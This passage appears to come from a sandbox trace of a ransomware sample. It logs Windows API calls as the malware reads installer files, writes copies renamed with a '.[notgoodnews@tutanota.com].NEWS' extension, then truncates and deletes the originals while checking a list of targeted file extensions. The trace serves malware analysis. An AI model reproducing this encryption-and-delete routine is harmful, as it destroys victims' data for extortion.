(lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0064.219] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0064.219] lstrlenW (lpString=".doc") returned 4 [0064.219] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0064.219] lstrlenW (lpString=".docx") returned 5 [0064.219] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0064.219] lstrlenW (lpString=".pdf") returned 4 [0064.219] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0064.219] lstrlenW (lpString=".xls") returned 4 [0064.219] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0064.219] lstrlenW (lpString=".xlsx") returned 5 [0064.219] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0064.219] lstrlenW (lpString=".ppt") returned 4 [0064.219] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0064.219] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0064.219] lstrlenW (lpString=".zip") returned 4 [0064.219] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0064.219] lstrlenW (lpString=".rar") returned 4 [0064.219] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0064.219] lstrlenW (lpString=".bz2") returned 4 [0064.219] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0064.219] lstrlenW (lpString=".7z") returned 3 [0064.219] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0064.219] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0064.219] lstrlenW (lpString=".dbf") returned 4 [0064.219] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0064.219] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0064.219] lstrlenW (lpString=".1cd") returned 4 [0064.219] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0064.219] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0064.219] lstrlenW (lpString=".jpg") returned 4 [0064.220] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0064.220] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0064.220] lstrlenW (lpString="LocalizedData.xml") returned 17 [0064.220] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0064.220] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=68226) returned 1 [0064.220] CloseHandle (hObject=0x33c) returned 1 [0064.220] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 0x80 [0064.220] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.220] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0064.220] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.220] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.220] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0064.221] GetLastError () returned 0x0 [0064.221] ReadFile (in: hFile=0x33c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x10a82, lpOverlapped=0x0) returned 1 [0064.223] WriteFile (in: hFile=0x2c4, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x10a90, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x10a90, lpOverlapped=0x0) returned 1 [0064.225] ReadFile (in: hFile=0x33c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0064.225] WriteFile (in: hFile=0x2c4, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xf6, lpOverlapped=0x0) returned 1 [0064.225] SetEndOfFile (hFile=0x2c4) returned 1 [0064.225] CloseHandle (hObject=0x2c4) returned 1 [0064.229] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.229] SetEndOfFile (hFile=0x33c) returned 1 [0064.230] CloseHandle (hObject=0x33c) returned 1 [0064.231] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.231] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 1 [0064.231] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0064.231] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0064.231] lstrlenW (lpString=".doc") returned 4 [0064.231] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.231] lstrlenW (lpString=".docx") returned 5 [0064.231] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0064.231] lstrlenW (lpString=".pdf") returned 4 [0064.231] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.231] lstrlenW (lpString=".xls") returned 4 [0064.231] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.231] lstrlenW (lpString=".xlsx") returned 5 [0064.231] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0064.231] lstrlenW (lpString=".ppt") returned 4 [0064.231] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.231] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0064.231] lstrlenW (lpString=".zip") returned 4 [0064.231] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.232] lstrlenW (lpString=".rar") returned 4 [0064.232] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.232] lstrlenW (lpString=".bz2") returned 4 [0064.232] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.232] lstrlenW (lpString=".7z") returned 3 [0064.232] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.232] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0064.232] lstrlenW (lpString=".dbf") returned 4 [0064.232] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.232] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0064.232] lstrlenW (lpString=".1cd") returned 4 [0064.232] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.232] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0064.232] lstrlenW (lpString=".jpg") returned 4 [0064.232] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.232] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0064.232] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0064.232] lstrlenW (lpString=".doc") returned 4 [0064.232] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.232] lstrlenW (lpString=".docx") returned 5 [0064.232] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0064.232] lstrlenW (lpString=".pdf") returned 4 [0064.232] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.232] lstrlenW (lpString=".xls") returned 4 [0064.232] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.232] lstrlenW (lpString=".xlsx") returned 5 [0064.232] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0064.232] lstrlenW (lpString=".ppt") returned 4 [0064.233] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0064.233] lstrlenW (lpString=".zip") returned 4 [0064.233] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.233] lstrlenW (lpString=".rar") returned 4 [0064.233] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.233] lstrlenW (lpString=".bz2") returned 4 [0064.233] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.233] lstrlenW (lpString=".7z") returned 3 [0064.233] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0064.233] lstrlenW (lpString=".dbf") returned 4 [0064.233] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0064.233] lstrlenW (lpString=".1cd") returned 4 [0064.233] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0064.233] lstrlenW (lpString=".jpg") returned 4 [0064.233] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.233] lstrcmpiW (lpString1=".rtf", lpString2=".NEWS") returned 1 [0064.233] lstrlenW (lpString="eula.rtf") returned 8 [0064.233] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0064.234] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=12687) returned 1 [0064.234] CloseHandle (hObject=0x33c) returned 1 [0064.234] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 0x80 [0064.234] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.234] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0064.234] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.234] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.234] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0064.236] GetLastError () returned 0x0 [0064.236] ReadFile (in: hFile=0x33c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x318f, lpOverlapped=0x0) returned 1 [0064.238] WriteFile (in: hFile=0x2c4, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x3190, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x3190, lpOverlapped=0x0) returned 1 [0064.239] ReadFile (in: hFile=0x33c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0064.240] WriteFile (in: hFile=0x2c4, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xe4, lpOverlapped=0x0) returned 1 [0064.240] SetEndOfFile (hFile=0x2c4) returned 1 [0064.240] CloseHandle (hObject=0x2c4) returned 1 [0064.241] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.241] SetEndOfFile (hFile=0x33c) returned 1 [0064.242] CloseHandle (hObject=0x33c) returned 1 [0064.242] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.242] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 1 [0064.242] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0064.243] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0064.243] lstrlenW (lpString=".doc") returned 4 [0064.243] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0064.243] lstrlenW (lpString=".docx") returned 5 [0064.243] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0064.243] lstrlenW (lpString=".pdf") returned 4 [0064.243] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0064.243] lstrlenW (lpString=".xls") returned 4 [0064.243] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0064.243] lstrlenW (lpString=".xlsx") returned 5 [0064.243] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0064.243] lstrlenW (lpString=".ppt") returned 4 [0064.243] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0064.243] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0064.243] lstrlenW (lpString=".zip") returned 4 [0064.243] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0064.243] lstrlenW (lpString=".rar") returned 4 [0064.243] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0064.243] lstrlenW (lpString=".bz2") returned 4 [0064.243] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0064.243] lstrlenW (lpString=".7z") returned 3 [0064.243] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0064.243] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0064.243] lstrlenW (lpString=".dbf") returned 4 [0064.243] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0064.243] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0064.243] lstrlenW (lpString=".1cd") returned 4 [0064.243] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0064.243] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0064.243] lstrlenW (lpString=".jpg") returned 4 [0064.243] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0064.244] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0064.244] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0064.244] lstrlenW (lpString=".doc") returned 4 [0064.244] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0064.244] lstrlenW (lpString=".docx") returned 5 [0064.244] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0064.244] lstrlenW (lpString=".pdf") returned 4 [0064.244] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0064.244] lstrlenW (lpString=".xls") returned 4 [0064.244] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0064.244] lstrlenW (lpString=".xlsx") returned 5 [0064.244] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0064.244] lstrlenW (lpString=".ppt") returned 4 [0064.244] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0064.244] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0064.244] lstrlenW (lpString=".zip") returned 4 [0064.244] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0064.244] lstrlenW (lpString=".rar") returned 4 [0064.244] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0064.244] lstrlenW (lpString=".bz2") returned 4 [0064.244] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0064.244] lstrlenW (lpString=".7z") returned 3 [0064.244] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0064.244] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0064.244] lstrlenW (lpString=".dbf") returned 4 [0064.244] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0064.244] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0064.244] lstrlenW (lpString=".1cd") returned 4 [0064.244] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0064.244] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0064.244] lstrlenW (lpString=".jpg") returned 4 [0064.244] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0064.245] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0064.245] lstrlenW (lpString="LocalizedData.xml") returned 17 [0064.245] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0064.245] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=65238) returned 1 [0064.245] CloseHandle (hObject=0x33c) returned 1 [0064.245] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 0x80 [0064.245] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.245] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0064.245] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.245] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.245] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0064.246] GetLastError () returned 0x0 [0064.246] ReadFile (in: hFile=0x33c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xfed6, lpOverlapped=0x0) returned 1 [0064.701] WriteFile (in: hFile=0x2c4, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xfee0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xfee0, lpOverlapped=0x0) returned 1 [0064.703] ReadFile (in: hFile=0x33c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0064.703] WriteFile (in: hFile=0x2c4, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xf6, lpOverlapped=0x0) returned 1 [0064.703] SetEndOfFile (hFile=0x2c4) returned 1 [0064.703] CloseHandle (hObject=0x2c4) returned 1 [0064.705] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.705] SetEndOfFile (hFile=0x33c) returned 1 [0064.707] CloseHandle (hObject=0x33c) returned 1 [0064.707] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.707] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 1 [0064.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0064.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0064.707] lstrlenW (lpString=".doc") returned 4 [0064.707] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.707] lstrlenW (lpString=".docx") returned 5 [0064.707] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0064.707] lstrlenW (lpString=".pdf") returned 4 [0064.707] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.707] lstrlenW (lpString=".xls") returned 4 [0064.707] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.708] lstrlenW (lpString=".xlsx") returned 5 [0064.708] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0064.708] lstrlenW (lpString=".ppt") returned 4 [0064.708] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.708] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0064.708] lstrlenW (lpString=".zip") returned 4 [0064.708] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.708] lstrlenW (lpString=".rar") returned 4 [0064.708] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.708] lstrlenW (lpString=".bz2") returned 4 [0064.708] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.708] lstrlenW (lpString=".7z") returned 3 [0064.708] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.708] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0064.708] lstrlenW (lpString=".dbf") returned 4 [0064.708] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.708] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0064.708] lstrlenW (lpString=".1cd") returned 4 [0064.708] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.708] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0064.708] lstrlenW (lpString=".jpg") returned 4 [0064.708] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.708] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0064.708] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0064.708] lstrlenW (lpString=".doc") returned 4 [0064.708] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.708] lstrlenW (lpString=".docx") returned 5 [0064.708] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0064.708] lstrlenW (lpString=".pdf") returned 4 [0064.708] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.708] lstrlenW (lpString=".xls") returned 4 [0064.708] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.708] lstrlenW (lpString=".xlsx") returned 5 [0064.708] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0064.708] lstrlenW (lpString=".ppt") returned 4 [0064.709] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.709] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0064.709] lstrlenW (lpString=".zip") returned 4 [0064.709] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.709] lstrlenW (lpString=".rar") returned 4 [0064.709] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.709] lstrlenW (lpString=".bz2") returned 4 [0064.709] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.709] lstrlenW (lpString=".7z") returned 3 [0064.709] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.709] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0064.709] lstrlenW (lpString=".dbf") returned 4 [0064.709] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.709] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0064.709] lstrlenW (lpString=".1cd") returned 4 [0064.709] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.709] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0064.709] lstrlenW (lpString=".jpg") returned 4 [0064.709] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.709] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0064.709] lstrlenW (lpString="LocalizedData.xml") returned 17 [0064.709] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0065.104] GetFileSizeEx (in: 